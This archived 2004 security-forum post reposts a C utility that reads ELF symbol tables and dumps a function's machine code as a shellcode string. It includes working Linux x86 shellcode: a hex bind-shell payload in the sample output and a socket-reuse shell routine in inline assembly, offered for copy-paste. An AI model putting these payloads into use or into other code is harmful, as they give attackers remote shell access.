邪恶八进制信息安全团队技术讨论组's Archiver

冰血封情 2004-9-18 03:23

[转载]readasm的使用范例

文章作者: bkbll [email]bkbll@cnhonker.net[/email]

[COLOR=red]本文章提供的程序源文件文章末尾有提供![/COLOR]
使用方法:
[netconf@linux1 netconf]$ ./readasm -h
Elf file reader & asm code read
by bkbll,[email]bkbll@cnhonker.net[/email](1.10)
------------------------------------
Usage:./readasm [-f <file>] [-x <address>] [-h]
Options:
-f: the file want to read(defaut is self)
-x: the function address
-h: this screen
if nothing,it will show self&#39;s function table
[netconf@linux1 netconf]$ ./readasm
Elf file reader & asm code read
by bkbll,[email]bkbll@cnhonker.net[/email](1.10)
------------------------------------
[+] Reading file /proc/self/exe
[+] Program Entry Addr:0x80485bc
[+] Found base address:0x8048000
[@] Read 0x12b bytes from offset 0x3592
[?] finding section .symtab......Got it
[?] finding section .strtab......Got it
[+] Found 104 symbols
[@] Read 0x37f bytes from offset 0x4290
[!] number address length type name
[+] 1: 0x0804866c 0x0136 FUNC asmcode
[+] 2: 0x080487a2 0x00a0 FUNC usage
[+] 3: 0x08048adc 0x0086 FUNC getbaseaddr
[+] 4: 0x08048cd0 0x0142 FUNC find_symbol_byaddr
[+] 5: 0x08048b62 0x016d FUNC list_sym
[+] 6: 0x08048866 0x01ad FUNC showmem
[+] 7: 0x08048f82 0x0485 FUNC main
[+] 8: 0x08048842 0x001e FUNC ptelfhdr
[+] 9: 0x08048e8c 0x00f5 FUNC prt_machine_code
[+] 10: 0x08048a14 0x00c7 FUNC readfile
[+] 11: 0x08048860 0x0005 FUNC ptelfshd
[+] 12: 0x08048e12 0x0079 FUNC find_section_byname
[netconf@linux1 netconf]$ ./readasm -x 0x0804866c
Elf file reader & asm code read
by bkbll,[email]bkbll@cnhonker.net[/email](1.10)
------------------------------------
[+] Reading file /proc/self/exe
[+] Program Entry Addr:0x80485bc
[+] Found base address:0x8048000
[@] Read 0x12b bytes from offset 0x3592
[?] finding section .symtab......Got it
[?] finding section .strtab......Got it
[?] finding sym-addr:0x804866c......Got it
[+] Symbol name:asmcode
[+] Symbol offset:0x66c
[+] Symbol leng:0x136
[+] machine code:

"\x90\x31\xc0\x31\xdb\x31\xc9\xb0"
"\x17\xcd\x80\x31\xc0\xb0\x2e\xcd"
"\x80\x31\xc0\x50\xb9\x30\x03\x98"
"\x19\x51\x89\xe3\x31\xc9\x51\xb9"
"\xff\xfe\xff\xff\x51\x51\x89\xe1"
"\xb0\xb9\xcd\x80\x90\x90\x31\xc0"
"\xb0\xb8\xcd\x80\x90\x90\x31\xc0"
"\xb0\x02\xcd\x80\x39\xc3\x7c\x0c"
"\x31\xc0\xb0\x02\xcd\x80\x39\xc3"
"\x7c\x02\xeb\x06\x31\xc0\xb0\x01"
"\xcd\x80\x31\xc0\xb0\x3c\xcd\x80"
"\x31\xc0\x50\x68\x62\x62\x2e\x2e"
"\x89\xe3\x43\x31\xc9\xb1\xff\xfe"
"\xc5\xb0\x27\xcd\x80\x31\xc0\xb0"
"\x3d\xcd\x80\x43\xfe\xcd\xb1\xff"
"\x31\xc0\xb0\x0c\xcd\x80\xe2\xf8"
"\x43\xb0\x3d\xcd\x80\x31\xc9\x31"
"\xdb\x51\x31\xc0\x51\xb1\x01\x51"
"\xb1\x02\x51\x89\xe1\xb3\x01\xb0"
"\x66\xcd\x80\x89\xc1\x31\xc0\x31"
"\xdb\x50\x50\x50\x66\x68\xb0\xef"
"\xb3\x02\x66\x53\x89\xe2\xb3\x10"
"\x53\xb3\x02\x52\x51\x89\xca\x89"
"\xe1\xb0\x66\xcd\x80\x31\xdb\x39"
"\xc3\x74\x05\x31\xc0\x40\xcd\x80"
"\x31\xc0\x50\x52\x89\xe1\xb3\x04"
"\xb0\x66\xcd\x80\x89\xd7\x31\xc0"
"\x31\xdb\x31\xc9\xb3\x11\xb1\x01"
"\xb0\x30\xcd\x80\x31\xc0\x31\xdb"
"\x50\x50\x57\x89\xe1\xb3\x05\xb0"
"\x66\xcd\x80\x89\xc6\x31\xc0\x31"
"\xc9\x89\xf3\xb0\x3f\xcd\x80\x31"
"\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x41\xb0\x3f\xcd\x80\x31\xc9\x51"
"\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
"\x62\x69\x89\xe3\x51\x68\x2d\x69"
"\x69\x69\x89\xe2\x51\x52\x53\x89"
"\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
"\x80"
[netconf@linux1 netconf]$
对于写shellcode的朋友们来说是不是很方便? 将汇编代码替换掉__asm__的汇编语句, 然后编译, 运行就可以得到编排好的shellcode, 你只需要复制,粘贴就可以了.

[COLOR=red]分析理解elf文件并且自动编排shellcode的程序[/COLOR]
提交作品: bkbll

[code]/* read elf string
* by bkbll(bkbll#cnhonker.net) 2003-08-08
* welcome to [url]http://www.cnhonker.com[/url]
*/

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <error.h>
#include <elf.h>

#define VER "1.10"

typedef struct
{
   char *info;
   int leng;
   int offset;
}syminfo;

void asmcode()
{
   __asm__(
   "
xorl %eax,%eax
xorl %ebx,%ebx
xorl %ecx,%ecx
movb $0x17,%al
int $0x80
xorl %eax,%eax
pushl %eax
incl %eax
pushl %eax
movl %esp,%ebx
xorl %ecx,%ecx
movb $0xa2,%al
int $0x80
movb $0xe0,%cl
movl %ecx,%eax
subl $0x0a,%eax
notl %eax
incl %eax
movl %eax,%edi
xorl %eax,%eax
incl %eax
decl %esp
movl %esp,%edx
pushl %eax
pushl %eax
pushl %edx
pushl %edi
pushl %ecx
leal 4(%esp),%ecx
xorl %ebx,%ebx
movb $0x0a,%bl
movb $0x66,%al
int  $0x80   
popl %ecx
cmpl $0x01,%eax
jne  .+0x07
cmpb $0x49,(%edx)
je  .+0xb
loop .-0x2c
xorl %eax,%eax
incl %eax
movl %eax,%ebx
int  $0x80
movl %edi,%ebx
movb $0x03,%cl
movb $0x3f,%al
decl %ecx
int  $0x80
incl %ecx
loop .-0x06
pushl %ecx
pushl $0x68732f6e
pushl $0x69622f2f
movl  %esp,%ebx
pushl %ecx
pushl $0x706c692d
movl %esp,%edx
pushl %ecx
pushl %edx
pushl %ebx
movl %esp,%ecx
xorl %edx,%edx
xorl %eax,%eax
movb $0x0b,%al
int  $0x80        
    "
   );
}

void usage(char *s,int flag)
{
   printf("Elf file reader & asm code read\n");
   printf("by bkbll,[email]bkbll@cnhonker.net[/email](%s)\n",VER);
   printf("------------------------------------\n");
   if(flag==1)
   {
      printf("Usage:%s [-f <file>] [-x <address>] [-h]\n",s);
      printf("Options:\n\t-f: the file want to read(defaut is self)\n");
      printf("\t-x: the function address\n");
      printf("\t-h: this screen\n");
      printf("if nothing,it will show self&#39;s function table\n");
      exit(0);
   }
}

void ptelfhdr(Elf32_Ehdr *elfhdr)
{
   //入口地址
   printf("[+] Program Entry Addr:%p\n",elfhdr->e_entry);
   //PHD表偏移量
   //printf("[+] Program header table file offset:0x%x\n",elfhdr->e_phoff);      /* Program header table file offset */
   //SHD表偏移量
   //printf("[+] Section header table file offset:0x%x\n",elfhdr->e_shoff);      /* Section header table file offset */
    //printf("[+] ELF header size in bytes:0x%x\n",elfhdr->e_ehsize);      /* ELF header size in bytes */
   //printf("[+] Program header table entry size:0x%x\n",elfhdr->e_phentsize);      /* Program header table entry size */
   //printf("[+] Program header table entry count:0x%x\n",elfhdr->e_phnum);      /* Program header table entry count */
    //printf("[+] Section header table entry size:0x%x\n",elfhdr->e_shentsize);      /* Section header table entry size */
   //printf("[+] Section header table entry count:0x%x\n",elfhdr->e_shnum);      /* Section header table entry count */
   //printf("[+] Section header string table index:0x%x\n",elfhdr->e_shstrndx);      /* Section header string table index */
}

void ptelfshd(Elf32_Shdr* shdr)
{
   //printf("[+] Section name (string tbl index):0x%x\n",shdr->sh_name); /* Section name (string tbl index) */
    //printf("[+] Section type:0x%x\n",shdr->sh_type);      /* Section type */
    //printf("[+] Section flags:0x%x\n",shdr->sh_flags);      /* Section flags */
    //printf("[+] Section virtual addr at execution:0x%x\n",shdr->sh_addr);      /* Section virtual addr at execution */
    //printf("[+] Section file offset:0x%x\n",shdr->sh_offset);      /* Section file offset */
    //printf("[+] Section size in bytes:0x%x\n",shdr->sh_size);      /* Section size in bytes */
    //printf("[+] Link to another section:0x%x\n",shdr->sh_link);      /* Link to another section */
    //printf("[+] Additional section information:0x%x\n",shdr->sh_info);      /* Additional section information */
    //printf("[+] Section alignment:0x%x\n",shdr->sh_addralign);      /* Section alignment */
    //printf("[+] Entry size if section holds table:0x%x\n",shdr->sh_entsize);      /* Entry size if section holds table */
}
int showmem(unsigned int p,int length)
{
     int i=0,t,a,ptleng;
     char *sc=(char *)p;
     int next=16;
     ptleng=(0xbffffffff-p)>length?length:(0xbffffffff-p);
     ptleng++;
     while(i<ptleng)
     {
          if(i%16==0)
          {
                printf("\r\n%p: ",sc+i);
          }
         
          next=((i+16)>ptleng)?ptleng:(i+16);
          t=i;
          for(;i<next;i++)  printf("%.2x ",sc[i] & 0xff);
          a=next-t;
          for(;a<16;a++)  printf("  ");
          printf(" ");
          while(t<next)
          {
               if((*(sc+t)<0x1f) || (*(sc+t)>0x7e))
                printf(".",sc[t]);
             else
                printf("%c",sc[t]);
             t++;
          }
    }
    printf("\r\n");
    return i;
}

void* readfile(FILE *fd,int offset,int size)
{
   void *buf;
   
   if(fd==NULL)
   {
      perror("[-] not a FILE pointer");
      return NULL;
   }
   buf=malloc(size);
   if(buf==NULL)
   {
      perror("[-] malloc failed");
      return NULL;
   }
   memset(buf,0,size);
   //定位
   //printf("[@] before fseek,position:%#x\n",ftell(fd));
   if(fseek(fd,offset,SEEK_SET)<0)
   {
      perror("[-] fseek failed");
      free(buf);
      return NULL;
   }
   //printf("[@] after fseek,position:%#x\n",ftell(fd));
   if(fread(buf,1,size,fd)<0)
   {
      perror("[-] read failed");
      free(buf);
      return NULL;
   }
   return buf;
}
//get base address
unsigned int getbaseaddr(FILE *fd,Elf32_Ehdr *elfhdr)
{
   unsigned int i,phdsize,phdnum,phdoffset,baseaddr;
   char *buf;
   Elf32_Phdr *tmp_phd;

   phdoffset=elfhdr->e_phoff;
   phdsize=elfhdr->e_phentsize;
   phdnum=elfhdr->e_phnum;
   for(i=0;i<phdnum;i++)
   {
      tmp_phd=(Elf32_Phdr *)readfile(fd,phdoffset+i*phdsize,sizeof(Elf32_Phdr));
      if((tmp_phd->p_type) == PT_PHDR)
      {
        baseaddr=(tmp_phd->p_vaddr)-(tmp_phd->p_offset);
        return baseaddr;
      }
   }
   return 0;
}
//列举symbol
int list_sym(FILE *fd,Elf32_Shdr *sym_shdr,Elf32_Shdr *sym_str_shdr)
{
   int i,a,num,stoff;
   int symbol_offset,symbol_allsize,sym_str_offset,sym_str_size;
   char *sym_str_table;
   Elf32_Sym *symbol1;
   
   if((sym_shdr == NULL ) || (sym_str_shdr == NULL))
   {
      printf("[-] Not a Shdr pointer\n");
      return(-1);
   }
   symbol_offset=sym_shdr->sh_offset;
   symbol_allsize=sym_shdr->sh_size;
   sym_str_offset=sym_str_shdr->sh_offset;
   sym_str_size=sym_str_shdr->sh_size;
   //一共多少个symbol
   num=symbol_allsize/sizeof(Elf32_Sym);
   printf("[+] Found %d symbols\n",num);
   if(num==0)
   {
      printf("[-] No symbol here\n");
      return(-1);
   }
   printf("[@] Read 0x%x bytes from offset 0x%x\n",sym_str_size,sym_str_offset);
   sym_str_table=(char *)readfile(fd,sym_str_offset,sym_str_size);
   //showmem(sym_str_table,sym_str_size);
   printf("[!] number  address  length  type  name \n");
   for(i=0,a=1;i<num;i++)
   {
      symbol1=(Elf32_Sym *)readfile(fd,symbol_offset+i*sizeof(Elf32_Sym),sizeof(Elf32_Sym));
      stoff=symbol1->st_name;
      //只列举出function的symbol,不是重定位的函数,函数大小大于0的
      if((stoff>0) && (ELF32_ST_TYPE(symbol1->st_info)==STT_FUNC) && (symbol1->st_shndx!=SHN_UNDEF) && (symbol1->st_size>0))
      {
        printf("[+] %3.d:  0x%.8x 0x%.4x  FUNC  %s\n",a,symbol1->st_value,symbol1->st_size,sym_str_table+stoff);
        a++;
      }
   }
}
//查找symbol
syminfo *find_symbol_byaddr(FILE *fd,unsigned int addr,Elf32_Shdr *sym_shdr,Elf32_Shdr *sym_str_shdr,unsigned int baseaddr)
{
   int i,a,num,staddr;
   int symbol_offset,symbol_allsize,sym_str_offset,sym_str_size;
   char *sym_str_table;
   Elf32_Sym *symbol1;
   syminfo *findout;
   
   if((sym_shdr == NULL ) || (sym_str_shdr == NULL))
   {
      printf("[-] Not a Shdr pointer\n");
      return(NULL);
   }
   symbol_offset=sym_shdr->sh_offset;
   symbol_allsize=sym_shdr->sh_size;
   sym_str_offset=sym_str_shdr->sh_offset;
   sym_str_size=sym_str_shdr->sh_size;
   //一共多少个symbol
   num=symbol_allsize/sizeof(Elf32_Sym);
   //printf("[+] Found %d symbols\n",num);
   if(num==0)
   {
      printf("[-] No symbol here\n");
      return(NULL);
   }
   //printf("[@] 从0x%x处读0x%x字节内容\n",sym_str_offset,sym_str_size);
   sym_str_table=(char *)readfile(fd,sym_str_offset,sym_str_size);
   //showmem(sym_str_table,sym_str_size);
   //printf("[!] number  address  length  name \n");
   findout=(syminfo *)malloc(sizeof(syminfo));
   for(i=0,a=1;i<num;i++)
   {
      symbol1=(Elf32_Sym *)readfile(fd,symbol_offset+i*sizeof(Elf32_Sym),sizeof(Elf32_Sym));
      staddr=symbol1->st_value;
      //printf("\n[@] st_name:%d,symbol name:%s",symbol1->st_name,sym_str_table+symbol1->st_name);
      if((staddr==addr) && (symbol1->st_name>0))
      {
        findout->info=sym_str_table+symbol1->st_name;
        findout->leng=symbol1->st_size;
        findout->offset=addr-baseaddr;
        return findout;
      }
   }
   free(findout);
   return NULL;
}

Elf32_Shdr *find_section_byname(FILE *fd,char *section_name,char *sstrtable,int s_offset,int snum,int ssize)
//文件名,查找的section名字,已经读出来的section string table,section入口地址,section有多少个,section多大
{
   int i,name_off;
   Elf32_Shdr *shdr1;
   
   for(i=0;i<snum;i++)
   {
      shdr1=(Elf32_Shdr *)readfile(fd,s_offset+i*ssize,sizeof(*shdr1));
      if(shdr1==NULL) continue;
      name_off=shdr1->sh_name;
      //printf("[@] Finding str:%s, current str:%s\n",section_name,sstrtable+name_off);
      if(strcmp(section_name,sstrtable+name_off)==0)
      {
        return shdr1;
      }
   }
   return NULL;
}

void prt_machine_code(FILE *fd,int offset,int length)
{
   char *buffer;
   int i,a;
   
   buffer=(char *)malloc(length);
   if(buffer==NULL)
   {
      printf("[-] malloc memory error");
      return;
   }
   buffer=(char *)readfile(fd,offset,length);
   printf("[+] machine code:\n\n");
   printf("\"");
   for(i=3,a=0;i<length-2;i++)
   {
      if((a%8==0) && (a/8>0)) printf("\"\n\"");
      printf("\\x%.2x",buffer[i] & 0xff);
      a++;   
   }
   printf("\"\n");
}

char symtabstr[]=".symtab";
char strtabstr[]=".strtab";
char selfexe[]="/proc/self/exe";
main(int argc,char **argv)
{
   Elf32_Ehdr *elfhdr;
   Elf32_Shdr *shdr,*sym_shdr,*sym_str_shdr;
   FILE *fp=NULL;
   syminfo *find_out_sym;
   int i,str_sec_offset; //section string table在第几个section中
   int section_size,section_offset; //section开始位置,每个section大小
   int num,section_strtable_length,section_strtable_offset;
   unsigned int baseaddr;
   char *section_strtable,*filename;
   int address=0;
   char c;
   
   filename=selfexe;
   while((c = getopt(argc, argv, "f:x:h"))!= EOF)
    {
        switch (c)
        {
         case &#39;f&#39;:
            filename=optarg;
            break;
         case &#39;x&#39;:
            sscanf(optarg,"%x",&address);
            break;
         case &#39;h&#39;:
             usage(argv[0],1);
             break;
         default:
            usage(argv[0],1);
            return 0;
          }
       }
   /*
   if(argc<2)
   {
      printf("Usage:%s <file> <addr>\n",argv[0]);
      exit(0);
   }
   */
   
   //if(argc>1) filename=argv[1];
   //if(argc>2) sscanf(argv[2],"%x",&address);
   usage("",0);
   printf("[+] Reading file %s\n",filename);
   fp=fopen(filename,"r");
   if(fp==NULL)
   {
      perror("[-] open file error");
      exit(0);
   }
   elfhdr=(Elf32_Ehdr *)readfile(fp,0,sizeof(*elfhdr));
   if(elfhdr==NULL) exit(0);
   ptelfhdr(elfhdr);
   baseaddr=getbaseaddr(fp,elfhdr);
   if(baseaddr==0)
   {
      printf("[-] Canot get base address\n");
      exit(0);
   }
   printf("[+] Found base address:%p\n",baseaddr);
   str_sec_offset=elfhdr->e_shstrndx; //SHD str table在section中的位置
   section_size=elfhdr->e_shentsize;  //每个section的大小
   section_offset=elfhdr->e_shoff;   //section入口地址
   num=elfhdr->e_shnum;          //一共多少个section
   //if(offset>0) str_sec_offset=offset;
   if(str_sec_offset>=num)
   {
      printf("[-] TOO large offset\n");
      fclose(fp);
      exit(0);
   }
   //读第str_sec_offset个section
   shdr=(Elf32_Shdr *)readfile(fp,section_offset+str_sec_offset*section_size,section_size);
   //printf("[*] Section %d:\n",str_sec_offset);
   //sh_offset,sh_size
   ptelfshd(shdr);

   section_strtable_length=shdr->sh_size;   //section string table长度
   section_strtable_offset=shdr->sh_offset;  //section string table偏移量
   printf("[@] Read 0x%x bytes from offset 0x%x \n",section_strtable_length,section_strtable_offset);
   section_strtable=(char *)readfile(fp,section_strtable_offset,section_strtable_length);
   printf("[?] finding section %s......",symtabstr);
   fflush(stdout);
   sym_shdr=find_section_byname(fp,symtabstr,section_strtable,section_offset,num,section_size);
   if(sym_shdr==NULL)  
   {
      printf("FAILED\n");
      fclose(fp);
      exit(0);
   }
   else
   {
      printf("Got it\n");
      ptelfshd(sym_shdr);
   }
   printf("[?] finding section %s......",strtabstr);
   fflush(stdout);
   sym_str_shdr=find_section_byname(fp,strtabstr,section_strtable,section_offset,num,section_size);
   if(sym_str_shdr==NULL)  printf("FAILED\n");
   else
   {
      printf("Got it\n");
      ptelfshd(sym_str_shdr);
   }
   if(address==0)   
   {
      list_sym(fp,sym_shdr,sym_str_shdr);
   }
   else
   {
      printf("[?] finding sym-addr:%p......",address);
      fflush(stdout);
      find_out_sym=find_symbol_byaddr(fp,address,sym_shdr,sym_str_shdr,baseaddr);
      if(find_out_sym==NULL)
      {
        printf("FAILED\n");
      }
      else
      {
        printf("Got it\n");
        printf("[+] Symbol name:%s\n",find_out_sym->info);
        printf("[+] Symbol offset:0x%x\n",find_out_sym->offset);
        printf("[+] Symbol leng:0x%x\n",find_out_sym->leng);
        //get the asm code
        if(find_out_sym->leng>0)
           prt_machine_code(fp,find_out_sym->offset,find_out_sym->leng);
        else
           printf("[-] Symbol length==0\n");
      }
   }
   fclose(fp);
   exit(1);
}[/code]

页: [1]
© 1999-2008 EvilOctal Security Team